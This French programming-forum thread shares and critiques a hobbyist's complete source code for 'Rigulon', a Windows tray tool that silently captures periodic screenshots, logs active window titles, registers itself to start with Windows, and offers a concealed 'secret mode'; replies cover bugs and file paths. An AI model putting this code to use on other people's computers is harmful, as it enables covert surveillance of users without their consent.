Page 1 sur 1

programme d'espionnage

Publié : dim. 21/nov./2010 17:52
par Parole De JOJO
un de mes premiers programmes
j'aimerais beaucoup savoir votre avis dessus
le programme prends des screenshot et ecrit un fichier log avec le fenetres actives

Code : Tout sélectionner

;- Les Preparations
Enumeration
#MENU_ChangePath:#MENU_OpenPath
#MENU_1sec:#MENU_5sec:#MENU_10sec:#MENU_30sec
#MENU_60sec:#MENU_90sec:#MENU_120sec:#MENU_300sec:#MENU_600sec
#MENU_Good:#MENU_Medium:#MENU_Low
#MENU_Lan:#MENU_About:#MENU_Quit
#MENU_AutoRun:#MENU_CancelAutoRun:#MENU_Secret
EndEnumeration
Global Dim l.s(40,2)
Global Dim sec.l(9)
Global path.s,lan,quality.l,seconds,lan,secret
Global pathpref.s="C:\Program files\Rigulon\"
Global pathlog.s="C:\Program files\Rigulon\Logs\"
Global namofil.s
Procedure savefile(handle.l,name.s)
  CloseFile(0)
  OpenFile(0,name)
  FileSeek(0,Lof(0))
EndProcedure
Procedure.s WMGetText(Handle.l)
If handle
  Buffer.s = Space(255)
  SendMessage_(Handle, #WM_GETTEXT, 256, @Buffer)
  result.s = PeekS(@Buffer)
EndIf
  ProcedureReturn result
EndProcedure
Procedure StartWithWindows(state.b,nam.s)
  Protected key.l = #HKEY_CURRENT_USER ;or #HKEY_LOCAL_MACHINE
  Protected Path.s = "Software\Microsoft\Windows\CurrentVersion\Run"
  Protected Value.s = nam 
  Protected String.s = ProgramFilename()
  Protected CurKey.l
  If state =1
    RegCreateKey_ (key,@Path,@CurKey)
    RegSetValueEx_ (CurKey,@Value,0, #REG_SZ ,@String, Len (String))
  Else
    RegOpenKey_ (key,@Path,@CurKey)
    RegDeleteValue_ (CurKey,@Value)
  EndIf
  RegCloseKey_ (CurKey)
EndProcedure
Procedure.s t(x):ProcedureReturn l(x,lan):EndProcedure
Procedure lan()
  SetMenuTitleText(0,0,t(1)+" = "+path)
  SetMenuTitleText(0,1,t(27)+" ="+Str(seconds)+t(28))
  SetMenuTitleText(0,2,t(15)+" = "+t(quality+14))
  SetMenuTitleText(0,3,t(29))
  SysTrayIconToolTip(1, t(22))
  For k=0 To 10
    SetMenuItemText(0,k+#MENU_ChangePath,t(k+4))
  Next
  For k=0 To 5
    SetMenuItemText(0,k+#MENU_Good,t(k+16))
  Next
  SetMenuItemText(0,#MENU_AutoRun,t(30))
  SetMenuItemText(0,#MENU_CancelAutoRun,t(31))
  SetMenuItemText(0,#MENU_Secret,t(32))
EndProcedure
Procedure ScreenShot(a)
  Repeat
    date.s=FormatDate("%yyyy-%mm-%dd",Date())
    hour.s=FormatDate("%hh-%ii-%ss",Date())
    CreateDirectory(path.s+date)
    FileName.s=Path+date+"\"+date+"  "+hour+".jpg"
    If CreateImage(0,GetSystemMetrics_(#SM_CXSCREEN),GetSystemMetrics_(#SM_CYSCREEN))
      DesktopWindow=GetDesktopWindow_()
      DC=GetDC_(DesktopWindow)
      StartDrawing=StartDrawing(ImageOutput(0))
        BitBlt_(StartDrawing,0,0,ImageWidth(0),ImageHeight(0),DC,0,0,#SRCCOPY)
      StopDrawing()
      ReleaseDC_(DesktopWindow,DC)
      If quality<>0
      ResizeImage(Im,ImageWidth(0)/quality*2,ImageHeight(0)/quality*2)
      EndIf
      UseJPEGImageEncoder()
      SaveImage(0,FileName,#PB_ImagePlugin_JPEG,7)
      FreeImage(0)
    EndIf
    Delay(1000*seconds)
  ForEver
EndProcedure
Procedure prefs(key.s,val.l)
OpenPreferences(pathpref.s+"prefs.yhe")
PreferenceGroup("info")
WritePreferenceLong(key,val)
ClosePreferences()
EndProcedure
Procedure texte()
sec(1)=1:sec(2)=5:sec(3)=10:sec(4)=30:sec(5)=60:sec(6)=90:sec(7)=120:sec(8)=300:sec(9)=600
l(1,1)="Path":l(4,1)="Change Path":l(5,1)="Open Directory":l(27,1)="Time Between Shots"
l(28,1)=" Seconds":l(6,1)="1 Second":l(7,1)="5 Seconds":l(8,1)="10 Seconds":l(9,1)="30 Seconds"
l(10,1)="1 Minut":l(11,1)="1.5 Minuts":l(12,1)="2 Minuts":l(13,1)="5 Minuts":l(14,1)="10 Minuts"
l(15,1)= "Quality":l(16,1)="Good":l(17,1)="Medium":l(18,1)="Low":l(19,1)="Francais":l(20,1)="About"
l(21,1)="Quit":l(22,1)="** Rigulon **":l(25,1)="Rigulon":l(26,1)="Programed by JOJO"
l(29,1)="Run With Windows":l(30,1)="Apply":l(31,1)="Cancel":l(32,1)="Secret Mode"
l(34,1)="The program will now be in secret mode. To come back to the normal mode, double-clik on the program icon and type 224 in the window"
l(35,1)="Please enter a password"

EndProcedure
Procedure menu()
CreatePopupMenu(0)
  MenuTitle("")
    MenuItem(#MENU_ChangePath, "")
    MenuItem(#MENU_OpenPath, "")
  CloseSubMenu()
  MenuTitle("")
    MenuItem(#MENU_1sec, "")
    MenuItem(#MENU_5sec, "")
    MenuItem(#MENU_10sec, "")
    MenuItem(#MENU_30sec, "")
    MenuBar()
    MenuItem(#MENU_60sec, "")
    MenuItem(#MENU_90sec, "")
    MenuItem(#MENU_120sec, "")
    MenuItem(#MENU_300sec, "")
    MenuItem(#MENU_600sec, "")
  CloseSubMenu()
  MenuTitle("")
    MenuItem(#MENU_Good, "")
    MenuItem(#MENU_Medium, "")
    MenuItem(#MENU_Low, "")
  CloseSubMenu()
  MenuTitle("")
  MenuItem(#MENU_AutoRun, "")
  MenuItem(#MENU_CancelAutoRun, "")
  CloseSubMenu()
  MenuItem(#MENU_Secret, "")
  MenuItem(#MENU_Lan, "")
  MenuItem(#MENU_About, "")
  MenuItem(#MENU_Quit, "")
EndProcedure
;- ReadPreferences
CreateDirectory(pathpref)
OpenPreferences(pathpref+"prefs.yhe")
  PreferenceGroup("info")
   path=ReadPreferenceString("path","")
   quality=ReadPreferenceFloat("quality",1.5)
   seconds=ReadPreferenceLong("seconds",60)
   lan=ReadPreferenceLong("lan",1)
   secret=ReadPreferenceLong("secret",0)
ClosePreferences()
If path=""
  path="C:\Program files\Rigulon\ScreenShot\"
  CreateDirectory(path)
EndIf

;- Create Log
CreateDirectory(pathlog)
date.s=FormatDate("%yyyy-%mm-%dd",Date())
hour.s=FormatDate("%hh-%ii-%ss",Date())
namofil=pathlog+date+"  "+hour+".txt"
CreateFile(0,namofil)
WriteStringN(0,date+"  "+hour)
WriteStringN(0,"")
 chaine.s = Space(256)
   hWnd = FindWindow_( 0, 0 ) 
    While hWnd <> 0
    If GetWindowLong_(hWnd, #GWL_STYLE) & #WS_VISIBLE = #WS_VISIBLE
      If GetWindowLong_(hWnd, #GWL_EXSTYLE) & #WS_EX_TOOLWINDOW <> #WS_EX_TOOLWINDOW
        GetWindowText_(hWnd,@chaine,256)       
        If chaine <> ""
          WriteStringN(0,chaine)
        EndIf
      EndIf
    EndIf
    hWnd = GetWindow_(hWnd, #GW_HWNDNEXT)
  Wend
WriteStringN(0,"")
WriteStringN(0,"")
savefile(0,namofil)

;- Demarrage
texte()
menu()
OpenWindow(0, 10, 10, 10, 10, "Rigulon", #PB_Window_Invisible)
AddSysTrayIcon(1, WindowID(0),CatchImage(1, ?Icone1))
SysTrayIconToolTip(1, t(22))
lan()
thread=CreateThread(@ScreenShot(), 154)

Repeat
  Event=WaitWindowEvent(1000)

;- Recuperation de la fenetre active
  Handle = GetForegroundWindow_()
  If Handle <> 0 And Handle <> Last_Handle 
      Last_Handle = Handle
      WindowText.s = WMGetText(Handle)
      If WindowText<>LastWindowText.s And windowtext<>""
          hour.s=FormatDate("%hh-%ii-%ss",Date())
        WriteStringN(0, hour+"    "+ WindowText)
        LastWindowText=WindowText
      EndIf    
  EndIf
  If Val(FormatDate("%ss",Date()))=00
   savefile(0,namofil)
  EndIf
  
;- gestion du mode  : normal: ouvrir le menu ; secret : demander le code et revenir au mode normal
  If secret=0
    If Event = #PB_Event_SysTray And EventType()=#PB_EventType_LeftClick
    DisplayPopupMenu(0,WindowID(0))
    EndIf
  ElseIf secret=1
    If Event = #PB_Event_SysTray And EventType()=#PB_EventType_RightDoubleClick
      code=Val(InputRequester(t(35),"",""))
      If code=224
        secret=0
        SysTrayIconToolTip(1, t(22))
        prefs("secret",secret)
      EndIf
    EndIf
  EndIf

;- gestion du menu
  If Event = #PB_Event_Menu
    Select EventMenu()
      Case #MENU_ChangePath
        p.s=PathRequester("",path)
        If p:path=p:EndIf
        SetMenuTitleText(0,0,t(1)+" = "+path)
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceString("path",path)
        ClosePreferences()
      Case #MENU_OpenPath:If path:RunProgram(path):EndIf
      Case #MENU_1sec To #MENU_1sec+8
        seconds=sec(EventMenu()-#MENU_1sec+1)
        SetMenuTitleText(0,1,t(27)+" = "+Str(seconds)+t(28))
        prefs("seconds",seconds)
      Case #MENU_Good To #MENU_Low
        quality=(EventMenu()-#MENU_Good+2)
        SetMenuTitleText(0,2,t(15)+" = "+t(quality+14))
        prefs("quality",quality)
      Case #MENU_Lan
        lan=3-lan
        lan()
        prefs("lan",lan)
      Case #MENU_About:MessageRequester(t(25),t(26)+Chr(10)+Chr(10)+t(36)+Chr(10)+t(37))
      Case #MENU_Quit:quit=1
      Case #MENU_AutoRun:StartWithWindows(1,"Rigulon")
      Case #MENU_CancelAutoRun:StartWithWindows(2,"Rigulon")
      Case #MENU_Secret
        secret=1
        MessageRequester(t(32),t(34))
        SysTrayIconToolTip(1,"")
        prefs("secret",secret)
    EndSelect
  EndIf
Until Quit=1

;- Data
DataSection:Icone1:IncludeBinary "tools.ico":EndDataSection

Re: programme d'espionnage

Publié : lun. 29/nov./2010 11:25
par Parole De JOJO
52 vues et pas une seul reponse?

Re: programme d'espionnage

Publié : lun. 29/nov./2010 11:56
par Backup
bon j'ai fini par tester ton prg :)

il marche bien , niveau fonctionnalité

juste 2 choses ,
tu aurai du donner l'image de ton icone ;)

et si tu choisi l'option "Français" du menu , celui ci part dans un delire indescriptible :)

sinon, ça a l'air de tourné, au niveau prise d'image
j'ai pas vu s'il y avait une autre option que la prise d'image !?? :)

Re: programme d'espionnage

Publié : lun. 29/nov./2010 13:59
par SPH
Je viens de le tester aussi. Logs et screenshots :mrgreen:

Re: programme d'espionnage

Publié : lun. 29/nov./2010 14:57
par Cls
Perso j'ai pas eu le temps de tester.
En parcourant le code, je me demandais si tu avais fait le programme inverse permettant de relire les images ? Histoire de pas se taper tout le répertoire à la main... ;)

Re: programme d'espionnage

Publié : lun. 29/nov./2010 17:43
par Parole De JOJO
comment tu aurais voulu que je donne l'icone?
le prog cree aussi un log, et c'est bizarre car au debeugage, 35% des fois ca plante au niveau du log, et les autres fois ca marche. j'ai pas trouve le probleme
j'ai pense a faire une fenetre pour voir les images, pour l'instant il y a un boutton pour ouvrir directement le dossier.
je sais que le francais ne marche pas, je dois m'en occuper
en fait a la base il y avait un boutton pour mettre le programme en pause, et pour le relancer apres, mais si j'ai bien compris, c'est assez dangeureux de s'amuser avec les thred donc j'ai laisse tomber

Re: programme d'espionnage

Publié : lun. 29/nov./2010 17:52
par Backup
Parole De JOJO a écrit :comment tu aurais voulu que je donne l'icone?

heu ! ... un lien ? :roll:

ou meme une image Jpg

c'est pas les prg qui manquent pour faire un ico a partir d'un jpg ;)

Re: programme d'espionnage

Publié : mar. 22/févr./2011 19:13
par Ar-S
C'est vrai que le choix de la langue est à revoir.

Ce qui me dérange ce sont ces 2 lignes :

Code : Tout sélectionner

Global pathpref.s="C:\Program files\Rigulon\"
Global pathlog.s="C:\Program files\Rigulon\Logs\"
Il ne faut pas mettre ça car tu dois je pense utiliser un OS 32bits, donc en marquant celà :
C:\Program files\Rigulon\
Tes données vont se sauver dans C:\Program files\Rigulon\
Or sur un OS 64 bits, C:\Program files\ est l'emplacement des logiciels x64 !

il est donc préférable de chopper l'emplacement exacte du bon repertoire (x86) sur l'OS

Pour ce faire, remplace

Code : Tout sélectionner

Global pathpref.s="C:\Program files\Rigulon\"
Global pathlog.s="C:\Program files\Rigulon\Logs\"
par

Code : Tout sélectionner

Global pathpref.s = GetEnvironmentVariable("ProgramFiles")+"\Rigulon\"
Global pathlog.s= pathpref+"logs\"
Ainsi que tu sois avec un XP 32 bits ou un 7 x64, peu importe, le dossier Rigulon se créera dans le "bon" 'Program Files'

Re: programme d'espionnage

Publié : mar. 22/févr./2011 19:27
par Parole De JOJO
merci beaucoup pour le conseil
je crois ue le fichier log est mal gere par mon programme, je l'ai donc efface